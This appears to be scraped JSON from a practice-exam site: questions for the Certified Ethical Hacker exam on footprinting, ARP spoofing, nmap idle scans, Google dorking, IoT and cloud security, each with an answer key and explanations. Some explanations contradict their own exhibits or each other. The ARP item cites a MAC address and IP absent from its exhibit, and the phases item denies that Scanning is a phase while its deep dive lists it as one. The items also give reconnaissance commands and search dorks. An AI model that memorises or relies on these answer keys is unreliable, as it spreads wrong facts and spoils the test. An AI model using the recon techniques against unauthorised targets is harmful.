tag from the HTTP response body. In a real-world scenario, discovering 'Login Portal' as the title could indicate a web application login page, which an attacker would then target with credential brute-forcing or vulnerability scanning during the exploitation phase. The distinction between footprinting and scanning is critical: footprinting uses public data (e.g., DNS records), whereas scanning involves direct interaction with the target system.","keyConcepts":[],"faqs":[],"eliminationLogic":null,"exhibitText":null,"exhibitUrl":null,"hasExhibit":false,"isExhibitQuestion":false,"questionPairs":null,"hasMatchingPairs":false,"isMatchingQuestion":false,"relatedQuestions":[],"breadcrumbItems":null,"nextQuestionUrl":null,"previousQuestionUrl":null,"domainPracticeUrl":null,"certificationUrl":null,"domainUrl":null,"hasAnswerOptions":true,"updatedAt":"2026-06-30T18:02:30.881+00:00","questionType":"multiple_choice"},{"id":"e5d20566-fedb-473d-b6a4-ec4462647d6a","slug":"refer-to-the-exhibit-a-security-analyst-runs-ping-and-arp-c-kpi9c","certificationSlug":"ec-ceh","examCode":"CEH","examName":"Certified Ethical Hacker CEH","questionText":"Refer to the exhibit. A security analyst runs ping and arp commands. What is the most likely attack occurring?","difficulty":"hard","domain":"Social Engineering and Physical Security","domainSlug":"social-eng-physical","topic":"","questionNumber":0,"totalQuestions":0,"options":[{"key":"A","isCorrect":false,"text":"Distributed denial of service (DDoS) attack","explanation":"No indication of multiple sources or high traffic.","masteryContext":""},{"key":"B","isCorrect":false,"text":"MAC flooding attack","explanation":"MAC flooding fills switch CAM table, not ARP table.","masteryContext":""},{"key":"C","isCorrect":true,"text":"ARP spoofing attack","explanation":"Duplicate MAC addresses for different IPs indicate ARP spoofing.","masteryContext":""},{"key":"D","isCorrect":false,"text":"Ping flood attack","explanation":"Ping flood is a DoS attack, not indicated by ARP anomalies.","masteryContext":""}],"correctOptionKey":"C","correctOptions":["C"],"correctAnswerText":"","isMultiSelect":false,"mainExplanation":"The correct answer is C because the combination of `ping` and `arp` commands reveals an ARP spoofing attack. The `arp -a` output shows the same MAC address (00-11-22-33-44-55) mapped to multiple IP addresses (192.168.1.1 and 192.168.1.2), which is a classic indicator of ARP cache poisoning. The `ping` commands confirm that both IPs are reachable, but the duplicate MAC entry proves an attacker is intercepting traffic by associating their MAC with multiple IPs.","examTrap":"The trap here is that candidates confuse MAC flooding (which targets switch CAM tables) with ARP spoofing (which targets host ARP caches), but the exhibit's `arp -a` output showing multiple IPs for one MAC is the definitive sign of ARP cache poisoning, not a switch-level attack.","examTip":null,"technicalDeepDive":"ARP spoofing exploits the stateless nature of ARP (RFC 826), where hosts accept unsolicited ARP replies without authentication. An attacker sends forged ARP packets to associate their MAC address with the default gateway's IP, causing all victim traffic to be forwarded through the attacker's machine for man-in-the-middle interception. Tools like Ettercap or Cain & Abel automate this, and detection requires static ARP entries or dynamic ARP inspection (DAI) on managed switches.","keyConcepts":[],"faqs":[],"eliminationLogic":null,"exhibitText":"Refer to the exhibit.\n\nC:\\Users\\Admin>ping 10.0.0.1\nPinging 10.0.0.1 with 32 bytes of data:\nReply from 10.0.0.1: bytes=32 time<1ms TTL=128\nReply from 10.0.0.1: bytes=32 time<1ms TTL=128\nReply from 10.0.0.1: bytes=32 time<1ms TTL=128\nReply from 10.0.0.1: bytes=32 time<1ms TTL=128\nPing statistics for 10.0.0.1:\n Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),\nApproximate round trip time in milli-seconds:\n Minimum = 0ms, Maximum = 0ms, Average = 0ms\n\nC:\\Users\\Admin>arp -a\nInterface: 192.168.1.101 --- 0x4\n Internet Address Physical Address Type\n 192.168.1.1 aa-bb-cc-11-22-33 dynamic\n 10.0.0.1 aa-bb-cc-11-22-33 dynamic\n 192.168.1.102 dd-ee-ff-44-55-66 dynamic","exhibitUrl":null,"hasExhibit":false,"isExhibitQuestion":false,"questionPairs":null,"hasMatchingPairs":false,"isMatchingQuestion":false,"relatedQuestions":[],"breadcrumbItems":null,"nextQuestionUrl":null,"previousQuestionUrl":null,"domainPracticeUrl":null,"certificationUrl":null,"domainUrl":null,"hasAnswerOptions":true,"updatedAt":"2026-06-11T07:23:00.777+00:00","questionType":"multiple_choice"}],"countMismatch":null}] </article></body></html>

26:["$","$L34",null,{"vendorSlug":"ec-council","examSlug":"ec-ceh","examName":"Certified Ethical Hacker CEH","examCode":"CEH","mode":"timed","requestedCount":50,"questions":[{"id":"da9f29b3-8f96-4184-b90b-4bfc41f94db2","slug":"which-two-of-the-following-are-recognized-phases-of-the-ethi-1jo69","certificationSlug":"ec-ceh","examCode":"CEH","examName":"Certified Ethical Hacker CEH","questionText":"Which TWO of the following are recognized phases of the Ethical Hacking process? (Select TWO.)","difficulty":"medium","domain":"Introduction to Ethical Hacking","domainSlug":"intro-ethical-hacking","topic":"","questionNumber":0,"totalQuestions":0,"options":[{"key":"A","isCorrect":true,"text":"Maintaining Access","explanation":"Maintaining Access is a phase after gaining access.","masteryContext":""},{"key":"B","isCorrect":false,"text":"Scanning","explanation":"Scanning is a sub-phase of Reconnaissance.","masteryContext":""},{"key":"C","isCorrect":true,"text":"Reconnaissance","explanation":"Reconnaissance is the first phase of ethical hacking.","masteryContext":""},{"key":"D","isCorrect":false,"text":"Hiding Evidence","explanation":"Covering Tracks is the correct term, not Hiding Evidence.","masteryContext":""},{"key":"E","isCorrect":false,"text":"Cracking","explanation":"Cracking is not a recognized phase.","masteryContext":""}],"correctOptionKey":"A,C","correctOptions":["A","C"],"correctAnswerText":"","isMultiSelect":true,"mainExplanation":"Maintaining Access is a recognized phase in the Ethical Hacking process, as defined by the EC-Council's CEH methodology. After gaining initial access, the ethical hacker must establish persistent access to the target system, often by installing backdoors, rootkits, or creating user accounts. This phase ensures the hacker can return to the system without repeating the exploitation steps, which is critical for simulating a real attacker's long-term presence.","examTrap":"EC-Council often tests the distinction between 'Scanning' and 'Reconnaissance' as separate phases, but the CEH methodology treats Scanning as part of the Reconnaissance phase, not a standalone phase; the trap here is that candidates may incorrectly select Scanning as a separate phase because it is a distinct activity, but the official CEH phases list Reconnaissance as the first phase, encompassing both passive and active scanning.","examTip":null,"technicalDeepDive":"The CEH ethical hacking process follows a structured methodology: Reconnaissance (passive/active information gathering), Scanning & Enumeration (network mapping, port scanning, service detection), Gaining Access (exploitation, privilege escalation), Maintaining Access (backdoors, persistence mechanisms like cron jobs or registry run keys), Clearing Tracks (log deletion, timestamp manipulation, anti-forensics), and Reporting. Maintaining Access often involves using tools like Netcat, Meterpreter, or custom scripts to create reverse shells or bind shells, ensuring the attacker can reconnect even after system reboots. In real-world scenarios, advanced persistent threats (APTs) rely heavily on this phase to maintain long-term access without detection.","keyConcepts":[],"faqs":[],"eliminationLogic":null,"exhibitText":null,"exhibitUrl":null,"hasExhibit":false,"isExhibitQuestion":false,"questionPairs":null,"hasMatchingPairs":false,"isMatchingQuestion":false,"relatedQuestions":[],"breadcrumbItems":null,"nextQuestionUrl":null,"previousQuestionUrl":null,"domainPracticeUrl":null,"certificationUrl":null,"domainUrl":null,"hasAnswerOptions":true,"updatedAt":"2026-06-30T18:02:28.675+00:00","questionType":"multi_select"},{"id":"7c58e821-6bad-49a9-bd12-9932822e86b5","slug":"which-two-of-the-following-are-characteristics-of-a-bluetoot-4conh","certificationSlug":"ec-ceh","examCode":"CEH","examName":"Certified Ethical Hacker CEH","questionText":"Which TWO of the following are characteristics of a Bluetooth Low Energy (BLE) IoT device that make it suitable for a battery-powered sensor?","difficulty":"easy","domain":"Wireless, IoT and Cloud Security","domainSlug":"wireless-iot-cloud","topic":"","questionNumber":0,"totalQuestions":0,"options":[{"key":"A","isCorrect":false,"text":"High data throughput.","explanation":"BLE has low data rate.","masteryContext":""},{"key":"B","isCorrect":false,"text":"Long range (up to 1 km).","explanation":"BLE range is typically up to 100m.","masteryContext":""},{"key":"C","isCorrect":true,"text":"Low energy consumption.","explanation":"BLE is optimized for low power.","masteryContext":""},{"key":"D","isCorrect":true,"text":"Low data transfer rates.","explanation":"Sensors send small data.","masteryContext":""},{"key":"E","isCorrect":false,"text":"Operates in unlicensed spectrum like Wi-Fi.","explanation":"BLE uses 2.4 GHz but is not Wi-Fi.","masteryContext":""}],"correctOptionKey":"C,D","correctOptions":["C","D"],"correctAnswerText":"","isMultiSelect":true,"mainExplanation":"Option C is correct because BLE is specifically designed for ultra-low power consumption, enabling battery-powered sensors to operate for months or years on a coin cell battery. BLE achieves this by using short bursts of data transmission and then entering a deep sleep mode, drastically reducing energy usage compared to classic Bluetooth or Wi-Fi.","examTrap":"EC-Council often tests the misconception that 'low energy' means low data rate, but the trap here is that candidates might incorrectly select 'High data throughput' (A) or 'Long range' (B) because they confuse BLE with classic Bluetooth or other IoT protocols, overlooking BLE's explicit design trade-off for power efficiency over speed and distance.","examTip":null,"technicalDeepDive":"BLE uses a connectionless advertising mode and adaptive frequency hopping to minimize power draw, with a peak current consumption of around 15 mA during transmission and less than 1 µA in sleep mode. In real-world IoT deployments, a BLE temperature sensor might transmit a few bytes of data every minute, achieving a battery life of over two years on a CR2032 coin cell. This contrasts with Wi-Fi, which requires a higher current draw and longer connection setup times, making it impractical for long-term battery operation.","keyConcepts":[],"faqs":[],"eliminationLogic":null,"exhibitText":null,"exhibitUrl":null,"hasExhibit":false,"isExhibitQuestion":false,"questionPairs":null,"hasMatchingPairs":false,"isMatchingQuestion":false,"relatedQuestions":[],"breadcrumbItems":null,"nextQuestionUrl":null,"previousQuestionUrl":null,"domainPracticeUrl":null,"certificationUrl":null,"domainUrl":null,"hasAnswerOptions":true,"updatedAt":"2026-06-30T18:02:27.892+00:00","questionType":"multi_select"},{"id":"37418def-38f6-4281-8505-0a2623a3589d","slug":"during-a-penetration-test-you-are-tasked-with-performing-fo-q3k11","certificationSlug":"ec-ceh","examCode":"CEH","examName":"Certified Ethical Hacker CEH","questionText":"During a penetration test, you are tasked with performing footprinting on a target organization. You have identified the target's IP range 192.168.1.0/24. Which of the following techniques would provide the most comprehensive information about the target's network topology and potential entry points?","difficulty":"medium","domain":"Footprinting and Reconnaissance","domainSlug":"footprinting-recon","topic":"","questionNumber":0,"totalQuestions":0,"options":[{"key":"A","isCorrect":false,"text":"Conduct social engineering to gather information from employees about internal network structure.","explanation":"Social engineering collects human knowledge but is less reliable and systematic.","masteryContext":""},{"key":"B","isCorrect":true,"text":"Use traceroute to map the network path and identify intermediate routers and firewalls.","explanation":"Traceroute shows the route packets take, revealing network topology and potential entry points.","masteryContext":""},{"key":"C","isCorrect":false,"text":"Perform a WHOIS lookup to obtain domain registration details including administrative contacts.","explanation":"WHOIS provides registration info, not network topology.","masteryContext":""},{"key":"D","isCorrect":false,"text":"Perform DNS enumeration to find all subdomains and associated IP addresses.","explanation":"DNS enumeration reveals subdomains and IPs but not the network topology or routers.","masteryContext":""}],"correctOptionKey":"B","correctOptions":["B"],"correctAnswerText":"","isMultiSelect":false,"mainExplanation":"Traceroute (using ICMP, UDP, or TCP probes with incrementing TTL values) reveals the Layer 3 path from the tester to the target, identifying each hop (router, firewall, or other gateway) along the route. This directly maps the network topology and can expose intermediate security devices, ACLs, and potential choke points, which is the most comprehensive technique for understanding the target's network layout and entry points from the given options.","examTrap":"The trap here is that candidates confuse footprinting techniques that gather passive information (WHOIS, DNS) with active network path mapping (traceroute), assuming WHOIS or DNS enumeration will reveal network topology when they only reveal domain or host metadata.","examTip":null,"technicalDeepDive":"Traceroute works by sending packets with a Time-To-Live (TTL) starting at 1 and incrementing by 1 for each subsequent probe; each router that decrements the TTL to 0 sends back an ICMP Time Exceeded message, revealing its IP address. In modern networks, firewalls may block ICMP or UDP probes, so TCP SYN traceroute (e.g., using `tcptraceroute` or `nmap -sT -p 80 --traceroute`) is often required to bypass stateful inspection and still map the path. A real-world scenario: during a red team engagement, traceroute revealed a non-standard hop (a transparent proxy) that was not visible in any other footprinting data, providing a critical entry vector.","keyConcepts":[],"faqs":[],"eliminationLogic":null,"exhibitText":null,"exhibitUrl":null,"hasExhibit":false,"isExhibitQuestion":false,"questionPairs":null,"hasMatchingPairs":false,"isMatchingQuestion":false,"relatedQuestions":[],"breadcrumbItems":null,"nextQuestionUrl":null,"previousQuestionUrl":null,"domainPracticeUrl":null,"certificationUrl":null,"domainUrl":null,"hasAnswerOptions":true,"updatedAt":"2026-06-11T07:09:23.706+00:00","questionType":"multiple_choice"},{"id":"f96bfb50-f4ef-4817-bec0-1b572e7f4806","slug":"an-organization-deploys-a-fleet-of-iot-cameras-that-communic-pebrp","certificationSlug":"ec-ceh","examCode":"CEH","examName":"Certified Ethical Hacker CEH","questionText":"An organization deploys a fleet of IoT cameras that communicate with a central server over the internet. The cameras use HTTP to send video streams. What is the most critical security improvement to protect the video data in transit?","difficulty":"medium","domain":"Wireless, IoT and Cloud Security","domainSlug":"wireless-iot-cloud","topic":"","questionNumber":0,"totalQuestions":0,"options":[{"key":"A","isCorrect":false,"text":"Require strong passwords on the camera web interface.","explanation":"Does not encrypt traffic.","masteryContext":""},{"key":"B","isCorrect":false,"text":"Use a site-to-site VPN between the cameras and the server.","explanation":"IoT devices may not support VPN.","masteryContext":""},{"key":"C","isCorrect":false,"text":"Use certificate pinning to prevent man-in-the-middle attacks.","explanation":"Still requires TLS.","masteryContext":""},{"key":"D","isCorrect":true,"text":"Implement TLS/SSL encryption for all camera communications.","explanation":"Encrypts video streams.","masteryContext":""}],"correctOptionKey":"D","correctOptions":["D"],"correctAnswerText":"","isMultiSelect":false,"mainExplanation":"The most critical security improvement is to implement TLS/SSL encryption (HTTPS) for all camera communications. HTTP transmits video data in plaintext, allowing any attacker on the network path to capture and view the video stream. TLS/SSL provides encryption, integrity, and authentication, directly protecting the confidentiality of the video data in transit.","examTrap":"EC-Council often tests the distinction between authentication/access controls (passwords, certificate pinning) and encryption (TLS/SSL), leading candidates to choose a security measure that does not actually protect data in transit.","examTip":null,"technicalDeepDive":"TLS 1.2 or 1.3 (RFC 5246, RFC 8446) uses a handshake to negotiate symmetric encryption keys (e.g., AES-256-GCM) and authenticate the server via X.509 certificates. In IoT deployments, using TLS with mutual authentication (mTLS) can also verify the camera's identity, preventing unauthorized devices from sending data. A real-world scenario is the Mirai botnet, which exploited default credentials and unencrypted HTTP on IoT cameras to compromise them.","keyConcepts":[],"faqs":[],"eliminationLogic":null,"exhibitText":null,"exhibitUrl":null,"hasExhibit":false,"isExhibitQuestion":false,"questionPairs":null,"hasMatchingPairs":false,"isMatchingQuestion":false,"relatedQuestions":[],"breadcrumbItems":null,"nextQuestionUrl":null,"previousQuestionUrl":null,"domainPracticeUrl":null,"certificationUrl":null,"domainUrl":null,"hasAnswerOptions":true,"updatedAt":"2026-06-30T18:02:28.56+00:00","questionType":"multiple_choice"},{"id":"f18a4120-4354-4409-885f-a5f238ccfbc9","slug":"an-attacker-uses-nmap-si-10-0-0-5-192-168-1-10-to-scan-a-3f9nq","certificationSlug":"ec-ceh","examCode":"CEH","examName":"Certified Ethical Hacker CEH","questionText":"An attacker uses `nmap -sI 10.0.0.5 192.168.1.10` to scan a target. This technique is known as an idle scan. Which condition is REQUIRED for this scan to work correctly?","difficulty":"hard","domain":"Footprinting, Reconnaissance and Scanning","domainSlug":"ceh-recon-scanning","topic":"","questionNumber":0,"totalQuestions":0,"options":[{"key":"A","isCorrect":false,"text":"The zombie host must be running a Windows operating system","explanation":"Zombie host OS does not matter; what matters is its IP ID generation.","masteryContext":""},{"key":"B","isCorrect":false,"text":"The attacker must have root access on the target machine","explanation":"No, the attacker does not need access to the target; the scan is performed from the attacker's machine using a zombie.","masteryContext":""},{"key":"C","isCorrect":true,"text":"The zombie host must have an incremental IP ID sequence that is not reset by other traffic","explanation":"The idle scan relies on observing changes in the zombie's IP ID to infer port status. If the zombie receives other traffic, the IP ID may increment, causing false results.","masteryContext":""},{"key":"D","isCorrect":false,"text":"The target must be running a Linux server with SSH enabled","explanation":"The target does not require any specific configuration for the idle scan to work.","masteryContext":""}],"correctOptionKey":"C","correctOptions":["C"],"correctAnswerText":"","isMultiSelect":false,"mainExplanation":"The idle scan (nmap -sI) relies on the zombie host's IP ID sequence being predictable and incremental. The attacker probes the zombie's IP ID, sends a spoofed SYN packet to the target (appearing from the zombie), and then re-checks the zombie's IP ID. If the IP ID has increased by exactly 2 (or more if other traffic occurred), the target responded to the zombie, confirming the port is open. The zombie must not reset or randomize its IP ID, and other traffic to the zombie must be minimal or accounted for, making an incremental IP ID sequence the essential condition.","examTrap":"EC-Council often tests the misconception that the zombie must be idle or that the target must have a specific service, but the core requirement is the zombie's IP ID sequence being incremental and not reset by other traffic.","examTip":null,"technicalDeepDive":"The idle scan exploits the IP ID field in the IPv4 header, which many older OS kernels increment by 1 for each packet sent. The attacker uses a three-step process: (1) probe the zombie's IP ID, (2) send a spoofed SYN to the target with the zombie's source IP, and (3) re-probe the zombie's IP ID. If the target responds (SYN-ACK for open ports or RST for closed), the zombie's IP ID increases by 2 (one for the spoofed SYN response, one for the attacker's probe). A real-world challenge is that modern OSes (e.g., Windows 10, Linux with randomized IP IDs) break this technique, and network congestion can cause false positives.","keyConcepts":[],"faqs":[],"eliminationLogic":null,"exhibitText":null,"exhibitUrl":null,"hasExhibit":false,"isExhibitQuestion":false,"questionPairs":null,"hasMatchingPairs":false,"isMatchingQuestion":false,"relatedQuestions":[],"breadcrumbItems":null,"nextQuestionUrl":null,"previousQuestionUrl":null,"domainPracticeUrl":null,"certificationUrl":null,"domainUrl":null,"hasAnswerOptions":true,"updatedAt":"2026-06-30T18:02:30.663+00:00","questionType":"multiple_choice"},{"id":"bbde96f4-c804-4ddb-b242-488e4df61626","slug":"during-a-penetration-test-you-discover-that-the-target-orga-8s64o","certificationSlug":"ec-ceh","examCode":"CEH","examName":"Certified Ethical Hacker CEH","questionText":"During a penetration test, you discover that the target organization uses a cloud-based email service. Which technique would allow you to gather employee email addresses and potentially infer internal organizational structure?","difficulty":"hard","domain":"Footprinting and Reconnaissance","domainSlug":"footprinting-recon","topic":"","questionNumber":0,"totalQuestions":0,"options":[{"key":"A","isCorrect":false,"text":"Perform a WHOIS lookup on the domain","explanation":"WHOIS provides registrar info, not individual emails.","masteryContext":""},{"key":"B","isCorrect":false,"text":"Attempt a DNS zone transfer","explanation":"Zone transfers typically fail or return only DNS records, not emails.","masteryContext":""},{"key":"C","isCorrect":false,"text":"Run an nmap scan against the mail server","explanation":"Nmap reveals open ports and services, not email addresses.","masteryContext":""},{"key":"D","isCorrect":true,"text":"Use Google dorking to find publicly exposed email lists","explanation":"Google dorks can locate files containing email addresses.","masteryContext":""}],"correctOptionKey":"D","correctOptions":["D"],"correctAnswerText":"","isMultiSelect":false,"mainExplanation":"Google dorking (advanced search operators) can uncover publicly exposed documents, such as PDFs or spreadsheets, that contain employee email addresses. These documents are often indexed by search engines and can reveal email patterns (e.g., first.last@company.com) and departmental groupings, allowing inference of the internal organizational structure without interacting directly with the target's infrastructure.","examTrap":"The trap here is that candidates often confuse active reconnaissance techniques (like DNS zone transfer or nmap scanning) with passive information gathering, assuming they are the primary way to collect email addresses, when in fact publicly indexed documents via Google dorking are a simpler and more effective passive method.","examTip":null,"technicalDeepDive":"Google dorking leverages search operators like `site:target.com filetype:xlsx email` to find indexed spreadsheets or contact lists. Under the hood, Google's crawler stores the text content of these files, making email addresses searchable even if the file is not directly linked. In a real-world scenario, a penetration tester might discover a publicly shared 'org_chart.xlsx' containing full names, titles, and email addresses, revealing the entire reporting structure.","keyConcepts":[],"faqs":[],"eliminationLogic":null,"exhibitText":null,"exhibitUrl":null,"hasExhibit":false,"isExhibitQuestion":false,"questionPairs":null,"hasMatchingPairs":false,"isMatchingQuestion":false,"relatedQuestions":[],"breadcrumbItems":null,"nextQuestionUrl":null,"previousQuestionUrl":null,"domainPracticeUrl":null,"certificationUrl":null,"domainUrl":null,"hasAnswerOptions":true,"updatedAt":"2026-06-11T07:05:56.592+00:00","questionType":"multiple_choice"},{"id":"76ddbfe2-fb6d-43f1-8b94-244925e1fecb","slug":"which-three-of-the-following-are-common-security-risks-assoc-0p10b","certificationSlug":"ec-ceh","examCode":"CEH","examName":"Certified Ethical Hacker CEH","questionText":"Which THREE of the following are common security risks associated with cloud computing?","difficulty":"hard","domain":"Wireless, IoT and Cloud Security","domainSlug":"wireless-iot-cloud","topic":"","questionNumber":0,"totalQuestions":0,"options":[{"key":"A","isCorrect":false,"text":"Physical theft of servers from the data center.","explanation":"Cloud providers secure data centers.","masteryContext":""},{"key":"B","isCorrect":true,"text":"Misconfigured cloud storage leading to data exposure.","explanation":"Common misconfiguration.","masteryContext":""},{"key":"C","isCorrect":true,"text":"Shared technology vulnerabilities in multi-tenant environments.","explanation":"Shared resources can lead to isolation issues.","masteryContext":""},{"key":"D","isCorrect":true,"text":"Insecure application programming interfaces (APIs).","explanation":"APIs are major attack vectors.","masteryContext":""},{"key":"E","isCorrect":false,"text":"Hypervisor compromise due to unpatched vulnerabilities.","explanation":"Providers patch hypervisors.","masteryContext":""}],"correctOptionKey":"B,C,D","correctOptions":["B","C","D"],"correctAnswerText":"","isMultiSelect":true,"mainExplanation":"Option B is correct because misconfigured cloud storage, such as an Amazon S3 bucket with overly permissive ACLs or a publicly accessible Azure Blob container, is one of the most common cloud security risks. This misconfiguration can expose sensitive data to the internet without authentication, leading to data breaches. The Cloud Security Alliance (CSA) consistently lists misconfiguration as a top cloud threat.","examTrap":"The trap here is that candidates often confuse 'hypervisor compromise' (Option E) as a common risk, but the CEH exam emphasizes that misconfiguration, shared technology vulnerabilities, and insecure APIs are the three most prevalent cloud security risks according to the CSA and NIST guidelines.","examTip":null,"technicalDeepDive":"Shared technology vulnerabilities (Option C) arise in multi-tenant environments where the hypervisor or underlying hardware is shared; a flaw in the hypervisor (e.g., CVE-2018-3646 for L1TF) could allow a malicious VM to access another tenant's memory. Insecure APIs (Option D) are critical because cloud services rely on RESTful APIs with OAuth 2.0 or AWS Signature V4; if these APIs lack proper authentication or rate limiting, attackers can enumerate resources or perform privilege escalation. Real-world examples include the 2019 Capital One breach, where a misconfigured WAF allowed SSRF via the AWS metadata API.","keyConcepts":[],"faqs":[],"eliminationLogic":null,"exhibitText":null,"exhibitUrl":null,"hasExhibit":false,"isExhibitQuestion":false,"questionPairs":null,"hasMatchingPairs":false,"isMatchingQuestion":false,"relatedQuestions":[],"breadcrumbItems":null,"nextQuestionUrl":null,"previousQuestionUrl":null,"domainPracticeUrl":null,"certificationUrl":null,"domainUrl":null,"hasAnswerOptions":true,"updatedAt":"2026-06-11T07:21:28.81+00:00","questionType":"multi_select"},{"id":"7ed1e7b4-2eff-4a8e-b853-0c8a357865cb","slug":"a-penetration-tester-is-performing-a-footprinting-exercise-o-hx9ax","certificationSlug":"ec-ceh","examCode":"CEH","examName":"Certified Ethical Hacker CEH","questionText":"A penetration tester is performing a footprinting exercise on a target company. The tester wants to identify the network range and ISP of the target. Which of the following tools or techniques is MOST appropriate for this purpose?","difficulty":"easy","domain":"Footprinting and Reconnaissance","domainSlug":"footprinting-recon","topic":"","questionNumber":0,"totalQuestions":0,"options":[{"key":"A","isCorrect":false,"text":"Query the Netcraft site for the domain","explanation":"Netcraft gives technology stack, not ISP.","masteryContext":""},{"key":"B","isCorrect":true,"text":"Perform a WHOIS lookup against the domain","explanation":"WHOIS provides IP range and ISP info.","masteryContext":""},{"key":"C","isCorrect":false,"text":"Use nslookup to query the authoritative name servers","explanation":"nslookup only resolves DNS records.","masteryContext":""},{"key":"D","isCorrect":false,"text":"Run a traceroute to the target web server","explanation":"Shows path, not ISP ownership.","masteryContext":""}],"correctOptionKey":"B","correctOptions":["B"],"correctAnswerText":"","isMultiSelect":false,"mainExplanation":"A WHOIS lookup against the target domain returns registration details that include the organization's network range (via the 'NetRange' or 'CIDR' fields) and the ISP (via the 'OrgName' or 'descr' fields). This directly maps to the footprinting goal of identifying the target's IP address block and upstream provider, as defined in RFC 3912 and common WHOIS database schemas.","examTrap":"The trap here is that candidates confuse DNS resolution (nslookup) or path tracing (traceroute) with ownership data, but only WHOIS provides the authoritative registration records for network blocks and ISPs.","examTip":null,"technicalDeepDive":"WHOIS data is stored in distributed registries (RIRs like ARIN, RIPE, APNIC) and queried via port 43 (whois protocol) or web interfaces. The returned 'NetRange' field contains the exact CIDR block assigned to the organization, while 'OrgName' identifies the ISP or entity. In real-world engagements, a tester might combine WHOIS with BGP looking glass queries to verify the ISP's ASN, but WHOIS remains the direct source for network range and ISP identification.","keyConcepts":[],"faqs":[],"eliminationLogic":null,"exhibitText":null,"exhibitUrl":null,"hasExhibit":false,"isExhibitQuestion":false,"questionPairs":null,"hasMatchingPairs":false,"isMatchingQuestion":false,"relatedQuestions":[],"breadcrumbItems":null,"nextQuestionUrl":null,"previousQuestionUrl":null,"domainPracticeUrl":null,"certificationUrl":null,"domainUrl":null,"hasAnswerOptions":true,"updatedAt":"2026-06-11T07:17:44.085+00:00","questionType":"multiple_choice"},{"id":"bbb20f64-59ba-4cd5-a19d-a9ca2055473d","slug":"an-ethical-hacker-runs-the-command-shown-in-the-exhibit-whi-ys63b","certificationSlug":"ec-ceh","examCode":"CEH","examName":"Certified Ethical Hacker CEH","questionText":"An ethical hacker runs the command shown in the exhibit. Which of the following conclusions can be drawn from the output?","difficulty":"medium","domain":"Footprinting and Reconnaissance","domainSlug":"footprinting-recon","topic":"","questionNumber":0,"totalQuestions":0,"options":[{"key":"A","isCorrect":true,"text":"The domain has two mail exchange servers","explanation":"Two MX records indicate two servers.","masteryContext":""},{"key":"B","isCorrect":false,"text":"The DNS server is configured to block zone transfers","explanation":"Zone transfer not tested.","masteryContext":""},{"key":"C","isCorrect":false,"text":"Mail is automatically forwarded to a backup server","explanation":"MX records show preference, not forwarding.","masteryContext":""},{"key":"D","isCorrect":false,"text":"The domain has an SPF record configured","explanation":"SPF not queried.","masteryContext":""}],"correctOptionKey":"A","correctOptions":["A"],"correctAnswerText":"","isMultiSelect":false,"mainExplanation":"The output shows two MX records for the domain, each with a preference value (10 and 20). MX records specify mail exchange servers, and the presence of two distinct entries indicates the domain has two mail exchange servers. The lower preference value (10) is the primary server, and the higher value (20) is a secondary or backup server.","examTrap":"The trap here is that candidates may assume multiple MX records imply automatic forwarding or failover, but in reality, the secondary server only receives mail if the primary is unreachable, and forwarding is a separate server-side configuration.","examTip":null,"technicalDeepDive":"MX records use a 16-bit preference value (0-65535) to prioritize mail servers; the lowest value is tried first, and if it fails, the next preference is attempted. In practice, the secondary MX server may queue mail until the primary is available, but it does not automatically forward mail unless configured to do so. The `dig` or `nslookup` command used likely queried for MX records specifically (e.g., `dig domain.com MX`), which only returns MX resource records, not other record types like TXT or SOA.","keyConcepts":[],"faqs":[],"eliminationLogic":null,"exhibitText":"Refer to the exhibit.\n\n```\nC:\\Users\\tester> nslookup -type=MX exampledomain.com\nServer: dns.example.com\nAddress: 192.168.1.1\n\nexampledomain.com\n MX preference = 10, mail exchanger = mail1.exampledomain.com\n MX preference = 20, mail exchanger = mail2.exampledomain.com\n```","exhibitUrl":null,"hasExhibit":false,"isExhibitQuestion":false,"questionPairs":null,"hasMatchingPairs":false,"isMatchingQuestion":false,"relatedQuestions":[],"breadcrumbItems":null,"nextQuestionUrl":null,"previousQuestionUrl":null,"domainPracticeUrl":null,"certificationUrl":null,"domainUrl":null,"hasAnswerOptions":true,"updatedAt":"2026-06-11T07:18:53.171+00:00","questionType":"multiple_choice"},{"id":"d8bbb7a6-011c-433c-af17-8c6930927c38","slug":"during-a-penetration-test-an-ethical-hacker-finds-that-a-we-u11si","certificationSlug":"ec-ceh","examCode":"CEH","examName":"Certified Ethical Hacker CEH","questionText":"During a penetration test, an ethical hacker finds that a web application transmits sensitive data in plaintext over HTTPS. Which of the following best describes this security issue?","difficulty":"medium","domain":"Cryptography and Malware Analysis","domainSlug":"cryptography-malware","topic":"","questionNumber":0,"totalQuestions":0,"options":[{"key":"A","isCorrect":false,"text":"Weak TLS cipher suite","explanation":"The issue is not about cipher strength; HTTPS is properly configured.","masteryContext":""},{"key":"B","isCorrect":true,"text":"Lack of application-layer encryption","explanation":"The data is encrypted in transit but not at rest or before being sent; the application does not encrypt sensitive fields.","masteryContext":""},{"key":"C","isCorrect":false,"text":"SSL stripping attack","explanation":"There is no indication of an active downgrade attack.","masteryContext":""},{"key":"D","isCorrect":false,"text":"Man-in-the-middle attack","explanation":"HTTPS prevents MITM; the issue is application-side.","masteryContext":""}],"correctOptionKey":"B","correctOptions":["B"],"correctAnswerText":"","isMultiSelect":false,"mainExplanation":"The core issue is that the web application transmits sensitive data in plaintext over HTTPS, meaning the data is encrypted in transit by TLS but not encrypted at the application layer. This leaves the data vulnerable to exposure if the TLS termination point (e.g., a reverse proxy or load balancer) is compromised or if logs capture the plaintext payload. Application-layer encryption (e.g., encrypting the data before sending it over HTTPS) ensures end-to-end confidentiality, even if the TLS channel is broken or inspected.","examTrap":"The trap here is that candidates confuse 'encrypted in transit' (TLS) with 'encrypted at the application layer,' assuming HTTPS alone provides end-to-end data confidentiality, but the CEH exam tests the distinction between transport-layer and application-layer encryption.","examTip":null,"technicalDeepDive":"Under the hood, HTTPS provides transport-layer security via TLS, but the application payload (e.g., JSON, XML) remains in plaintext within the encrypted tunnel. If an attacker gains access to the server's memory, logs, or a TLS-terminating proxy, they can read the sensitive data directly. Real-world examples include credit card numbers sent in a POST body over HTTPS without additional encryption, which could be exposed in server logs or via a memory dump. Application-layer encryption, such as using a pre-shared key or asymmetric encryption on the payload before HTTPS, ensures that even if TLS is compromised, the data remains 